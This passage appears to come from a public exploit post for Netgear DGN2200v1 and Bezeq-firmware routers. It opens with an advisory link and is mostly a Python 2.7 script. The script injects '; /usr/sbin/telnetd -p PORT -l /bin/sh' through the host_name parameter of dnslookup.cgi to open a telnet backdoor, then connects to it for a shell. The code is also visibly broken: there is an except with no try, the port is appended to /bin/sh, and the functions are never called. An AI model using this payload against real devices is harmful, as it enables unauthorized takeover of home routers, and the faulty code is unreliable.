    2) https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1

The exploit script only works on UNIX-based systems.

This ancient vulnerability works on other models utilizing Bezeq firmware, so not just DGN2200v1 is vulnerable. It is estimated that around 7-10 other models might be or might have been vulnerable in the past.
This is a very old exploit, dating back to 2017, so forgive me for Python2.7 lol.


import sys
import requests
import os

target_ip = ""
telnet_port = 666
sent = False

def main():
    if len(sys.argv) < 3:
        print "./dgn2200_pwn.py <router ip> <backdoor-port>"

    target_ip = sys.argv[1]
    telnet_port = int(sys.argv[2])
    print "[+] Sending the payload to " + target_ip + " and opening the backdoor ..."
    print "[+] Trying to connect to the backdoor for " + str(telnet_port) + " ..."
    print "[!] If it fails to connect it means the target is probably not vulnerable"

def send_payload():
        requests.get("http://" + target_ip + "/dnslookup.cgi?host_name=www.google.com; /usr/sbin/telnetd -p " + str(telnet_port) + " -l /bin/sh" + str(telnet_port) + "&lookup=Lookup&ess_=true")
        sent = True
    except Exception:
        sent = False
        print "[-] Unknown error, target might not be vulnerable."

def spawn_shell():
    if sent:
        print "[+] Dropping a shell..."
        os.system("telnet " + target_ip + " " + telnet_port)
